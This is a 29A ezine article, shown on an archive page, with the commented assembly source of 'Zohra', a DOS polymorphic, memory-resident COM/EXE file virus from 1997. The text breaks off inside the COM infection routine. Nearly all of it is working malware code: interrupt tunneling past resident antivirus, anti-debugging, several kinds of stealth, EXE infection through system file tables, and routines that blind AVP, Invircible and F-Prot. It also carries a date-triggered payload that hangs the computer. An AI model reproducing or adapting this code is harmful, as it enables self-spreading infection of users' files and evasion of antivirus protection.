Copy Link
Add to Bookmark
Report

29A Issue 02 05 04

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²² . .: .:.. :.. .. .:.::. :. ..: ²±
; ² Virus: Zohra <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< ²±
; ² Writer: Wintermute/29A .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. ²±
; ² Size: 4004+512 (decryptor) . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ²±
; ² Origin: Madrid, Spain ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. ²±
; ² Finished: April/1997 >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> ²±
; ² . .:.. ..:. .: ..:.::. ::.. :.: ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
; Features
; ÄÄÄÄÄÄÄÄÄÄ
;
; Zohra is a slow polymorphic Com/Exe infector that uses Sfts
; to perform its infection. It's double encrypted and gets resident by
; MCB method, reducing the last MCB's size without having to create a new
; one for itself. Also has an encryption routine ( the non-polymorphic
; one ) based on the UUencode system that consists on changing the first
; bit of each byte of the zone to encrypt to 1 and storing it in a buffer
; whose bytes have also a 1 in their most significative bit for being
; restored later; err, ok, it's well explained in the text. The polymorphic
; engine consists on some instructions and routine generators and other
; routines that change the decryption routine randomly ( see the engine ).
;
; Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode
; Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also,
; it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro
; ( anti-antivirus ) that I let you discover by watching the code and
; comments ;-)
;
; The payload, a video effect ( non-destructive ), activates on 14th
; of april ( the Spanish Second Republic aniversary ) when any file is
; executed. It will not be possible to execute it from within the article
; reader by pressing "G" due to incompatibility reasons.
;
;
; Greetings in this virus go to ORP, who brought me valuable
; information about UUencode, and above all to my necromancer, my wizard
; 'Zohra', the best of the Forgotten Realms ;)
;
; Also greetings to all the 29A, to Marylin Manson, congratulations
; for 'The Roots of Sepultura', greetings to all my friends, to my BBS,
; to my cat, to Ch‚ Guevara, to Tupac Amaru, and to underpants of the
; good luck.
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; El viento revuelve s£bitamente las hojas que el oto¤o
; tan cuidadosamente hab¡a depositado en el suelo,
; formando un precioso mosaico de tonos ocres.
;
; El sol a£n atisba t¡midamente por encima del horizonte
; recortado por las cruces y las l pidas, y si aguzas el o¡do,
; podr s sentir a los muertos gemir y susurrar los epitafios
; que nunca fueron grabados en piedra.
;
; La tristeza es un sentimiento de los vivos,
; la soledad una debilidad de los que rezan por no estar solos,
; la fe no sirve a los que no mueren, la muerte eres t£,
; y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo
; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado
; para toda la eternidad.
;
; Su manto te protege...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Gerard Casamayor )
;
;
; TASM /M2 ZOHRA.ASM
; TLINK ZOHRA.OBJ
;

.286
HOSTSEG segment BYTE ; Host program for the first generation
ASSUME CS:HOSTSEG, SS:CODIGO

Host:

mov ax,4c00h
int 21h

ends

CODIGO segment
ASSUME CS:CODIGO, DS:CODIGO, ES:CODIGO
org 00h

virus_size equ virus_end-virus_start
encrypt_size equ encrypt_end-encrypt_start

Comienzo:

virus_start label byte

push es ds
push cs cs
pop ds es

call fuera_desencriptado

encriptado equ encrypt_end-encrypt_start
encrypt_start label byte

continuemos:

mov si,29Ah ; Mapoulas PAUER ! ;)
mov ax,0db15h
int 21h
cmp si,29A0h
jnz tunneling
jmp ya_instalado

;**************************
; THE TOURNIQUET KODE ANALYZER
; ---------------------------------

tunneling:

xor ax,ax ; Gets int21h handler
mov ds,ax
lds si,ds:[0084h]
mov word ptr cs:[int21h+bp],si
mov word ptr cs:[int21h+bp+2],ds
mov ax,ds
cmp ax,300h ; If it belongs to Dos, we go and
ja analizar ;install
jmp tunnel_hecho

analizar:
lodsb ; Looks for a byte in ds:si ( where
cmp al,41h ;the int21h points ), and in the
ja @@mayor_40 ;following code identifies the
and al,00001111b ;instruction, adding it's size to di
;and continuing the identification.
; Group < 40h
cmp al,3h
ja @@nointvar
@@ii: jmp @variable_instruction
@@nointvar:
cmp al,5h ;This first byte of the place pointed
jb @bytes_2 ;by ds:si is going to tell us in
jz @bytes_3 ;the majority of cases it's length,
cmp al,8h ;if it's a jmp far, call far, an
jb @bytes_1 ;invalid opcode ( for 8086 ), etc
jz @@ii
cmp al,0ch
jb @variable_instruction ; Some instructions don't
jz @bytes_2 ;have a fixed length gived by their
cmp al,0dh ;first byte, so we'll have to see
jz @bytes_3 ;more of them: this, in @variable...
ja @bytes_1

; Group > 40h
@@mayor_40:
cmp al,60h ; From 40h to 6fh
jb @bytes_1
cmp al,70h
jnb @@mayor6f
jmp @invalida
; > 6fh
@@mayor6f:
cmp al,80h
jb @conditional_jmps ; Conditional jump opcodes
; Mayores a 7fh
cmp al,81h
jb @variable_instruction_1
jz @variable_instruction_2
cmp al,84h
jb @variable_instruction_1
cmp al,8fh
jbe @variable_instruction
; A partir de 90h
cmp al,09ah
jb @bytes_1
jnz @@@@@@
mov cx,0ffffh
jmp @posible_salto ; A far call.
@@@@@@:
cmp al,0a0h
jb @bytes_1
; From 0a0h
cmp al,0a4h
jb @bytes_3
cmp al,0b0h
jb @bytes_1
cmp al,0b8h
jb @bytes_2
cmp al,0c0h
jb @bytes_3
cmp al,0c3h
jbe @invalida ; We take ret as invalid instruction, as
;we'll ignore any call that is made: won't
;every call return to the same place ?
; From 0c4h
jmp @desdec4



@conditional_jmps: ; jz, jnz, ja...
mov cx,5
@comparar:
cmp si,word ptr cs:[cond_place]
inc bx ; We look if we made this jmp just before
inc bx
jz @lo_hacemos ; If we've got Si, we have been there:
loop @comparar ;we make the conditional jump.
mov bx,word ptr cs:[cond_flag]
mov word ptr cs:[cond_place],si ; If not, we keep SI,
inc si ; the execution jump, to jump the next
jmp analizar ;time we pass through there ( to avoid
;something like [cmp ax,bx-jz xxx-jmp
;compare], that would hang the computer
@lo_hacemos: ;beeing an infinite loop
jmp @jmpshort
@bytes_3:
inc si
@bytes_2:
inc si
@bytes_1:
jmp analizar

@invalida: ; Iret or invalid instruccion found: we don't
jmp ya_instalado ;install.


@variable_instruction_2: ; How this variable instructions work
lodsb ;is explained on the table at the end
inc si ;of the code analyzer
inc si
jmp @@@instvar2
@variable_instruction_1:
lodsb
inc si
jmp @@@instvar2
@variable_instruction:
lodsb
@@@instvar2:
cmp al,40h
jnb @@@may_40
and al,00001111b
cmp al,0eh
jz @@variosmas
cmp al,06h
jnz @@variosmas
jmp analizar
@@variosmas:
inc si
inc si
jmp analizar
@@@may_40:
cmp al,80h
jnb @@@may_80
inc si
jmp analizar
@@@may_80:
cmp al,057h
jnb @bytes_1
inc si
inc si
jmp analizar

@desdec4:

cmp al,0c6h
jb @variable_instruction
jz @variable_instruction_1
cmp al,0c7h
jz @variable_instruction_2
cmp al,0cah
jb @invalida
jz @bytes_3
cmp al,0cch
jb @invalida ; We'll also take a retf as invalid
jz @bytes_1
cmp al,0ceh
jb @bytes_2
jz @bytes_1
cmp al,0cfh
jz @invalida ; Iret, we return from interrupt.
; From 0d0h
cmp al,0d4h
jb @variable_instruction
cmp al,0d6h
jb @bytes_2
jz @invalida
cmp al,0d7h
jz @bytes_1
cmp al,0e0h
jb @variable_instruction
cmp al,0e8h
jb @bytes_2
jz @bytes_3 ; Near call: we ignore it
cmp al,0eah
jb @jmpnext
jz @posible_salto ; Jmp far
cmp al,0ebh
jz @jmpshort
cmp al,0f1h
jb @go_bytes_1
jz @invalida
cmp al,0feh
jb @go_bytes_1

lodsb ; If a jmp with a register ( jmp Si, for
cmp al,20h ;example ) is made, we go withouth
jb @valida_ff ;installing: we can't emulate it because
cmp al,2fh ;we don't know the registers
ja @valida_ff
jmp ya_instalado
@valida_ff:
jmp @@@instvar2

@go_bytes_1:
jmp @bytes_1

@jmpshort: ; Near jump, the nearest 80 bytes up or down:
lodsb ;we check, and make it.
xor ah,ah
cmp al,80h
jb @addit
neg al ; If it's a jmp to previous code
sub si,ax
jmp analizar

@jmpnext: ; 3 bytes
lodsw
@addit:
add si,ax ; Next jmps are coded E9 XX YY; distance
jmp analizar ;is = current+3+YYXX

@posible_salto: ; Jump to int21h in the code; found a far call/jmp
les dx,ds:[si] ;that leads us to Dos code
mov ax,es
cmp ax,300h
ja @nomemola
mov word ptr cs:[int21h+bp],dx
mov word ptr cs:[int21h+bp+2],es
jmp tunnel_hecho
@nomemola:
inc cx ; If not, we make the jmp in case
jz @passo ;it's a jmp and not a call, and
push es dx ;continue analyzing
pop si ds
jmp analizar
@passo:
add si,4
jmp analizar

cond_flag:
db 0
cond_place:
dw 0

; ****************************************************************************
; OPCODE TABLE
; ----------------------------------------------------------------------------
;
; This table is which I made for myself with the 8086 opcodes: I suppose it
; will make easier the code analyzer understanding, and maybe it also will
; be of use to someone...
;
; Length of instructions that can be coded by the Pc ( 8086 )
; -----------------------------------------------------------
;
; Those that have special importance for the Code Analyzer ( rets, calls and
; jumps ) are signaled. The others are normal instructions of the computer set.
;
; Sometimes in "first byte" I include some opcodes; this means that in all
; that range the byte conditions and length are the same. Length indicates
; how much the instruccion size is ( each interrogation means half byte, two
; hexadecimal figures ):
;
; ****************************************************************************
; Each 7h bytes the same list is repeated, I mean, the bytes size will be
; the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When
; getting to 40h it changes:
;
; 0 <= Y < 40h
;
; Y can take any value between them
;
; 1st byte 2nd byte next length
;
; Y0h-Y3h * Variable instruction
;
; Y4h ?? - 2 bytes
;
; Y5h ?? ?? 3 bytes
;
; Y6h-Y7h - - 1 byte
;
; Y8h-Ybh * Variable instruction
;
; Ych ?? - 2 bytes
;
; Ydh ?? ?? 3 bytes
;
; Yeh-Yfh - - 1 byte
;
;
; Next part: All are one byte instructiones, between 40h and 6fh. Although,
; instructions between 60h and 6fh ( included ) are invalid.
;
; 40h-6fh - - 1 byte
;
; Part three: Conditional jumps, starting from 70h to 7fh
;
; 70h-7fh - - 2 bytes
;
; Now, a group of different instructions:
;
; 80h,82h,83h * Variable instruction ( +1 )
;
; 81h * Variable instruction ( +2 )
;
; 84h-8fh * Variable instruction
;
; Between 90h and 99h there are more one byte instructions, except in 9Ah;
; this opcode is the "call far" instruction.
;
; 90h-99h - - 1 byte
;
; 9ah ?? ?? ?? ?? 4 bytes
;
; 9bh-9fh - - 1 byte
;
; New list, we start from 0a0h
;
; 0a0h-0a3h ?? ?? 3 bytes
;
; 0a4h-0afh - - 1 byte
;
; 0b0h-0b7h ?? - 2 bytes
;
; 0b8h-0bfh ?? ?? 3 bytes
;
; 0c0h-0c1h Invalid
;
; This is a ret [immed]
;
; 0c2h ?? ?? 3 bytes
;
; Ret
;
; 0c3h - - 1 byte
;
;
; 0c4h,0c5h * Variable instruction
;
; 0c6h * Variable instruction ( +1 )
;
; 0c7h * Variable instruction ( +2 )
;
; 0c8h-0c9h Invalid
;
; Return far [inmed]
;
; 0cah ?? ?? 3 bytes
;
; Return far
;
; 0cbh - - 1 byte
;
; 0cch - - 1 byte
;
; 0cdh ?? - 2 bytes
;
; 0ceh - - 1 byte
;
; ( Interrup Return )
;
; 0cfh - - 1 byte
;
; 0d0h-0d3h * Variable instruction
;
; 0d4h-0d5h ?? - 2 bytes
;
; 0d6h Invalid
;
; 0d7h - - 1 byte
;
; 0d8h-0dfh * Variable instruction
;
; 0e0h-0e7h ?? - 2 bytes
;
; Call
;
; 0e8h ?? ?? 3 bytes
;
; jmp next
;
; 0e9h ?? ?? 3 bytes
;
; jmp far
;
; 0eah ?? ?? ?? ?? 5 bytes
;
; jmp short
;
; 0ebh ?? - 2 bytes
;
; 0ech-0f0h - - 1 byte
;
; 0f1h Invalid
;
; 0f2h-0fdh - - 1 byte
;
;
; 0feh-0ffh * Variable instruction
;
; ***************************************************************************
; ---------------------------------------------------------------------------
;
; * Variable instruction ( those which values change depending on the second
; byte )
;
; A (+1) or a (+2) tells the number of bytes to add to the number of bytes
; shown at the column on the right. The values on the left belong to the
; second byte red
;
;
; If it's < 40h
;
; XEh o X6h ?? ?? 4 bytes
; <>XEh & <>X6h - 2 bytes
;
; If 3fh < x < 80h
;
; ?? ?? 3 bytes
;
; If 7fh < x < c0h
;
; ?? ?? 4 bytes
;
; If 0bfh < x
;
; ?? - 2 bytes
;
;
; *************************** END OF TUNNELING ****************************

regs2zero:
xor ax,ax ; Zero registers
mov bx,ax
mov cx,ax
cwd
mov si,ax
ret

tunnel_hecho:
push cs
pop ds

ant_debug:
push ax ; Anti-debugging routine
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz @getmcb
mov ax,4c00h
int 21h

@getmcb:
call get_z_mcb ; We take the last Mcb

el_ultimo:
pop dx
push dx
cmp word ptr es:[1],0h ; Is it free ?
jz parlante ; If not...
cmp word ptr es:[1],dx ; Or with active Psp ?
jne ya_instalado
parlante:
cmp word ptr es:[3],(((virus_size+15)/16)*2)+24h
jb ya_instalado ; Enough size ?

mov bx,word ptr es:[3]
sub bx,(((virus_size+15)/16)*2)+23h;512 bytes of poly
mov es:[3],bx ; Mcb Z new size
add di,bx
inc di ; We point to the program
mov es,di
push di
xor di,di
mov si,bp
push di si
mov cx,virus_size
push cx
rep movsb ; We copy the virus in memory
pop cx si
add di,201h ; Re-copy ( 256 bytes ahead )
rep movsb

pop di ; We copy the decryptor instructions to
lea si,[instr_start+bp] ; keep the originals safe against
mov cx,instrsize ; our own changes.
rep movsb


xor ax,ax
mov es,ax
pop ax
push ax
sub ax,100h ; We reduce 100h bytes the
cli ;segment and augments 1000h
mov word ptr es:[0086h],ax ;bytes the offset with the
lea dx,handler_int_21 ;objective that is explained
add dx,1000h ;at the Int21h handler
mov word ptr es:[0084h],dx ;( confuse the advanced user )
sti

installed:
xor bp,bp ; We continue the execution in
push offset ya_instalado ;memory
retf

ya_instalado:
pop ds es

mov ax,ds ; Is stack segment same as code
mov bx,ss ;segment ?
cmp ax,bx ; If it is, we've infected a Com
jz restaura_com ;file

mov si,ds ; We restore the stack
add si,cs:word ptr [ss_sp+bp]
add si,10h
cli
mov ss,si
mov sp,cs:word ptr [ss_sp+bp+2]
sti

mov si,ds ; And now we jump pushing
add si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
add si,10h ; old beggining of the host
push si
push cs:word ptr [cs_ip+bp]

call regs2zero

retf ; Here has happened nothin !

restaura_com:
push cs
pop ds
push es
mov di,100h ; Restores the header ( three
push di ;first bytes ) if it's a Com.
lea si,bp+header
movsw
movsb

call regs2zero
push es
pop ds

retf

get_z_mcb:
mov ah,52h ; We obtain the List of Lists
int 21h
mov di,es:[bx-2]
mov es,di
loop_da_mcb:
cmp byte ptr es:[0],'Z' ; Search for Mcb 'Z'
jnz @sigue_findin
ret
@sigue_findin: add di,es:[3] ; Mcb Z segment is in ES
inc di
mov es,di
jmp Loop_da_mcb

call_flag: dw 0
infected_flag: db 0
push_all_regs: cli ; Pushes all registers
pop cs:word ptr [call_flag] ;
pushf
push ax bx cx dx di si ds es bp
push cs:word ptr [call_flag]
sti
ret

pop_all_regs: cli ; Restores all registers
pop cs:word ptr [call_flag]
pop bp es ds si di dx cx bx ax
popf
push cs:word ptr [call_flag]
sti
ret

;****************************************************************************
; PAYLOAD
;----------------------------------------------------------------------------
;
; Non destructive, it activates the aniversary of the spanish Second
; Republic proclamation ( day 14th of april ), showing some video effects
; to the user and printing the virus message.
;

payload:

mov ax,0b800h ; Where the text page is
mov ds,ax ; On Ds
mov bx,0100h*8h
loop_segundo:
mov cx,(80*25*2)
loop_it:
dec cx
mov si,cx

add word ptr ds:[si-1],4h ; We add 4h to each character
loop loop_it ;of the screen to change it,
dec bx ;it's color...
jnz loop_segundo

mov bx,80*25*2
xor si,si
loop_decrem:
mov word ptr ds:[bx],0 ; Now, the screan cleaning
mov word ptr ds:[bx-2],0 ;effect
mov word ptr ds:[si],0
mov word ptr ds:[si+2],0

push ax dx ; Delay for the cleaning: waits the
mov dx,3dah ;vertical retrazing of the monitor
del1: in al,dx ;to continue
test al,8
jne del1
del2: in al,dx
test al,8
je del2
pop dx ax
not_delay:
sub bx,4 ; Pointers for black spaces
add si,4
cmp bx,80*25 ; Have we reached the end ?
jnb loop_decrem

zohra_text:
xor bx,bx ; Now we print the Zohra message,
xor di,di ;that is in 'thetext'
push cs
pop ds
lea si,thetext ; ( "Zohra will live forever...
mov cx,1 ; necromancy with her!" )
@print:
mov ah,2h ; We place the cursor at the center
mov dx,0c0eh ;of the screen
add dx,di
int 10h

mov bl,02h ; We print with int10h to give some
lodsb ;color to this ;)
cmp al,0h
jz acabado
mov ah,09h
int 10h

inc di
jmp @print
acabado:
jmp $ ; I love hanging computers X-)


;****************************************************************************
; STEALTH DE FCB
;----------------------------------------------------------------------------

fcb_stealth: ; Stealth on 11h/12h
xchg ah,al
pushf
call dword ptr cs:[Int21h]
test al,al
jnz nada_de_stealth
push es ax bx

mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz Not_infected

mov bx,dx
mov al,byte ptr [bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1eh
xor al,1eh
jnz Not_infected

sub word ptr es:[bx+1dh],Virus_size+202h
sbb word ptr es:[bx+1fh],0
and byte ptr es:[bx+17h],06bh

Not_infected:
pop bx ax es

nada_de_stealth: retf 2

;*** 5700h

time_stealth:
xchg ah,al ; Returns apparently correct
pushf ;seconds
call dword ptr cs:[int21h]
push cx
and cl,01eh
xor cl,01eh
pop cx
jnz Vietnow
and cl,0eh
Vietnow:
iret

;****************************************************************************
; NEW INT 21h
;----------------------------------------------------------------------------
; Next motherfucker gonna get my metal

; The int21h handler is in "handler_int_21", after this
;( maybe the user likes the U of debug )

before:
popf
xchg ah,al ; To avoid Avp's 'trace warning', which
cmp ax,5700h ;only checks if there is a cmp ah,4bh
jz time_stealth ;instruction
cmp al,11h
jz fcb_stealth
cmp al,12h
jz fcb_stealth
cmp al,4ch
jnz dont_restore_memory
dec byte ptr cs:[flag1] ; Restores last Mcb size to
jnz @nope2 ;protect our virus after out
call push_all_regs ;anti-mem routine.
call get_z_mcb
sub word ptr es:[3],((virus_size/16)*2)+22h
call pop_all_regs
@nope2: jmp nope
dont_restore_memory:
cmp al,03ch
je open_filexz
cmp al,05bh
je open_filexz
cmp al,03dh
je open_filexz
cmp al,06ch
je open_filexz
cmp al,4eh
jz go_handle
cmp al,4fh
jnz non_handle
go_handle: jmp handle
non_handle:
cmp ax,015dbh
jnz tira_venga
jmp install_check
tira_venga: cmp al,4bh
jnz eing
jmp infeccion

eing:
cmp al,3fh ; File read
jnz @nope2
jmp lets_do_stuff

handler_int_21:

pushf ; This routine tries to make
push cs ;the advanced users believe
push offset before ;this isn't a virus: the
push bp ;offset is bigger than 1100h,
mov bp,sp ;so it looks like a normal
add word ptr ss:[bp+4],100h;( and big ) program
pop bp ; The routine itself, returns
retf ;to the real offsets and
;tries also not to look like a
;virus

;****************************************************************************
; Open file handle
;----------------------------------------------------------------------------

open_filexz: ; You can kill yourself now because you're dead in my mind

xchg ah,al
pushf
call dword ptr cs:[int21h]
call push_all_regs

mov dx,'VA' ; Avp ( 3.0beta )
push bx
call get_prog_in_env
pop bx
jc tenemos_al_avp

mov dx,'VI' ; Shitvircible
push bx
call get_prog_in_env
pop bx
jc la_mierda_nos_ronda


push offset @@cont ; Obtain actual Sft
@get_da_sft:
mov ax,1220h
int 2fh
jc @@go_out
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh ; In ES:DI we get the Sft entry that
@@go_out: ret ;belongs to the actual file.
@@cont:
jc go_out
; If it's infected, we reduce it <virus_size>
mov al,byte ptr es:[di+0dh] ; bytes at the file Sft
and al,01eh ;
xor al,01eh
jnz go_out
inc byte ptr [infected_flag]
sub word ptr es:[di+11h],Virus_size+202h
sbb word ptr es:[di+13h],0
jmp go_out

tenemos_al_avp: cmp bx,5 ; I check a pair of values of Avp 3.0b when
jnz go_out ;opening, enough specific to not damage
cmp si,402dh ;older versions: I make zero the opened file
jnz go_out ;size, and Avp 3.0 will detect NO VIRUSES
call @get_da_sft
mov word ptr es:[di+11h],0
mov word ptr es:[di+13h],0

go_out:
call pop_all_regs
definetly: retf 2

la_mierda_nos_ronda:

cmp bx,3b20h ; Ok, I don't think I need more code to
jnz go_out ;make Shitvircible blind... bah, I'm
call pop_all_regs ;sure in a pair of years it's still
stc ;unable to detect my Zohra... Zvi Netiv,
jmp definetly ;guy, your Invircible SUX !!!

install_check:
cmp si,29Ah ; If it's in memory it returns 29A0h in
jnz nope ;SI
mov si,29A0h
iret
nope:
xchg ah,al
jmp salto_a_int21h

;****************************************************************************
; HANDLE STEALTH
;----------------------------------------------------------------------------

handle:
xchg ah,al
pushf ; Handle stealth, functions
call dword ptr cs:[Int21h] ;4eh/4fh
jc handle_out
pushf
push dx ax es bx di

mov dx,'KP' ; Pkunzip, don't stealth
call get_prog_in_env ;when used
jc not_infec

mov dx,'RA' ; Arj, same with it
call get_prog_in_env
jc not_infec

mov dx,'AR'
call get_prog_in_env ; Rar archive
jc not_infec

mov dx,'UU'
call get_prog_in_env ; UUencode utilities
jc not_infec

mov dx,'-F' ; Anti F-prot's anti-stealth
call get_prog_in_env ;( doesn't make stealth when
jc not_infec ;it's executing )

mov ah,2fh
int 21h
mov al,es:[bx+16h]
and al,1eh
xor al,1eh
jnz not_infec
sub word ptr es:[bx+1ah],Virus_size+202h
sbb word ptr es:[bx+1ch],0
and byte ptr es:[bx+16h],06bh
not_infec:
pop di bx es ax dx
popf
handle_out:
retf 2

;****************************************************************************
; INFECT !
;----------------------------------------------------------------------------

infeccion:

xchg ah,al
call push_all_regs
mov si,dx
mov di,ds

xor bp,bp ; For the div
mov ax,3500h
int 21h ; We handle int 00h, divide overflow,
push es bx ;so we only have to make a 'div bp'
mov ah,25h ;to jump to int21h, making the
push ax ;heuristic engines ( even Avp ) not
push cs ;to have any idea of what we are
pop ds ;doing
lea dx,rutinadiv
int 21h

mov ah,2ah ; Puts the first number for the
div bp ;"random" number: month, day, hour
mov word ptr [num_aleat],dx

; Virus activation:
cmp dx,040eh ; Fourteenth of april
jnz noche
jmp payload

noche:
mov ax,3524h
div bp ; Handling of int24h, avoid errors
push bx es
push cs
pop ds
lea dx,int24h
mov ah,25h
div bp
push ax
mov dx,si
mov ds,di
loop_exe: ; Do not infect:
inc si
cmp word ptr ds:[si],'BT' ; Tbav...
jz nos_piramos
cmp word ptr ds:[si],'VA' ; Avp...
jz nos_piramos
cmp word ptr ds:[si],'CS' ; Avscan, Xscan, Scan...
jz nos_piramos
cmp word ptr ds:[si],'VI' ; Invircible
jz nos_piramos
cmp byte ptr ds:[si],0
jz final_cero
jmp loop_exe

final_cero:
mov byte ptr cs:[flag1],0 ; Is Mem.exe executing ?
cmp ds:[si-7],'EM'
jnz nadarl
cmp ds:[si-5],'.M'
jz memory_test
nadarl: cmp ds:[si-7],'IW' ; And Windoze ?
jnz noeswin
cmp ds:[si-5],'.N'
jz ant_memory_test
noeswin:

dec si
dec si
cmp ds:[si],'EX' ; ¨ Is it an .Exe ?
jz Es_un_exe
jmp Podriaseruncom
Es_un_exe:
mov ax,3d02h ; Open r/w
div bp

jnc continua_infecci¢n
nos_piramos: jmp vamonox

ant_memory_test:
lea di,int21h ; Restore original int21h
lds dx,cs:[di]
mov ax,2521h
div bp
Memory_test: ; The virus gets here if the Mem.exe file has been
;executed: if that's right, it adds it's size to the
call get_z_mcb ; last Mcb so it appears the same free
add es:[3],((virus_size/16)*2)+22h ; memory than before
inc byte ptr cs:[flag1] ; installing ( later it's
jmp vamonox ; restored, of course ;) )
Ir_cerrar: jmp cerramos


continua_infecci¢n:
xchg bx,ax
push bx
call @get_da_sft ; Let's go with Sft infection!
pop bx

push es di
lea dx,header ; We read the exe header...
push cs cs
pop ds es
mov ah,3fh
mov cx,01ch
div bp
mov si,dx ; and move it to the second copy
mov di,virus_size+201h+offset header ; of the virus
rep movsb
pop di es

cmp word ptr es:[di+11h],01f40h ; Too little file ?
jb ir_cerrar


;File size=file image+header?
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
push ax dx
mov ax,word ptr [header+4] ; Number of pages
dec ax
mov cx,200h
mul cx
add ax,word ptr [header+2] ; Last page
adc dx,0 ; dx-ax length of file
pop cx si
cmp cx,dx ; Jumps also if attrib<>0, so
jnz ir_cerrar ;doesn't infect +r files. I
cmp si,ax ;thought to change some
jnz ir_cerrar ;things, but I prefer it this
;way: slowest reproduction


mov al,byte ptr [header] ; Is it MZ ?
add al,byte ptr [header+1]
cmp al,'M'+'Z'
jnz Ir_Cerrar

mov ax,word ptr es:[di+0dh]
and al,1eh ; Is it infected ?
xor al,1eh
jz ir_cerrar
push word ptr es:[di+0dh]
push word ptr es:[di+0fh]


push offset rout_fecha ;( this to be called by the Com
@comp_tiempo: ;infector )
; Doesn't infect if the file date
mov ah,2ah ;is the same today's date ( to avoid
div bp ;bait-files and some antivirus
mov ax,word ptr es:[di+0fh] ;programs that use this like
mov cx,ax ;Shitvircible )
and ax,01fh
cmp al,dl
jnz puedes_seguir
and cx,01e0h
ror cx,5
cmp cl,dh
jnz puedes_seguir
add sp,6h
jmp fecha
puedes_seguir:
ret
rout_fecha:
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov es:[di+15h],ax
mov es:[di+17h],dx
mov cx,10h
div cx
sub ax,word ptr ds:[header+8]
mov byte ptr ds:[1],dl ; Delta offset, we put it in the
;instructions

call copiarse

mov ds:word ptr [cs_ip+2],ax ; We actualize header
inc ax
mov ds:word ptr [ss_sp],ax
mov ds:word ptr [cs_ip],dx
mov ds:word ptr [ss_sp+2],((virus_size+300h-15h)/2)*2

mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov cx,200h
div cx
inc ax
mov word ptr [header+2],dx ; File size, etc
mov word ptr [header+4],ax
mov word ptr [header+0ah],((virus_size)/16)+10h

mov word ptr es:[di+15h],0
mov word ptr es:[di+17h],0
mov ah,40h ; Write header
mov cx,01ch
lea dx,header
push cs
pop ds
div bp

fecha:
pop dx cx
mov ax,5701h
or cl,1fh ; New file time
div bp


cerramos:
mov ah,3eh ; Closing
div bp

vamonox:
pop ax ds dx ; Restore int24h
div bp

pop ax ds dx ; Restore int0h
div bp

call pop_all_regs

jmp salto_a_int21h

;****************************************************************************
; 3fh Handler
;----------------------------------------------------------------------------

get_prog_in_env: ; This routine gets the name of the program that
;is executing in this moment; compares the name
;that was sent in Dx with the two first letters
;of it.

mov ah,62h ; Active Psp
int 21h
mov es,bx
mov es,word ptr es:[2ch] ; environment_segment
xor di,di
mov al,0
@find_em: scasb
jnz @find_em
cmp byte ptr es:[di],0
jnz @find_em
add di,3
miremos:
mov bx,word ptr es:[di] ; Compares dx, set by the
cmp dx,bx ;previous routine, with what
jnz sigamos_con_eto ;we've found as file name

stc ; We left the carry set if it
ret ;found it.

sigamos_con_eto:
mov al,5ch ; Searches '\'
joder_busca: scasb
jz miremos
cmp byte ptr es:[di],0h ; Or the end
jnz sigamos_con_eto
volvemos_ya:
clc
ret

;****************************************************************************
; Function 3fh handler
;----------------------------------------------------------------------------

lets_do_stuff: ; I had a little monkey I sent him to the country

xchg ah,al
call push_all_regs
cmp al,1
jz @vete_pues
cmp bx,8
jnz @vete_pues
mov dx,'-F' ; F-prot ?
call get_prog_in_env
jnc @vete_pues
call pop_all_regs

pushf
call dword ptr cs:[int21h]
call push_all_regs
push ds dx ; Breaks F-prot's ability of detecting
pop di es ;viruses: when it reads data from a file,
xor si,si ;the virus sends the interrupt vector table,
mov ds,si ;so F-prot --doesn't detect any virus--
rep movsb

call pop_all_regs
retf 2

@vete_pues:
call pop_all_regs
jmp salto_a_int21h

;****************************************************************************
; Com infection
;----------------------------------------------------------------------------
; 'Pon la mano as¡ como si fueras a pedir...'

nosvamosya:
jmp cerramos

podriaseruncom:

cmp ds:[si],'MO' ; Is it a Com file ?
jnz nosvamosya

mov ax,3d02h ; Open r/w
div bp
jc nosvamosya

sigamosconeto:
xchg ax,bx
push bx
call @get_da_sft ; We get the file sft
pop bx

push cs
pop ds

cmp word ptr es:[di+11h],01f40h ; Too short ?
jb nosvamosya
cmp word ptr es:[di+11h],0ffffh-virus_size-300h
ja nosvamosya ; Too large ?


mov ax,word ptr es:[di+0dh]
and al,1eh ; Infected ?
xor al,1eh
jz nosvamosya
no_rulado_aun:
push word ptr es:[di+0dh] ; Push time/date
push word ptr es:[di+0fh]
call @comp_tiempo

mov ah,3fh
mov cx,3 ; Read first three bytes
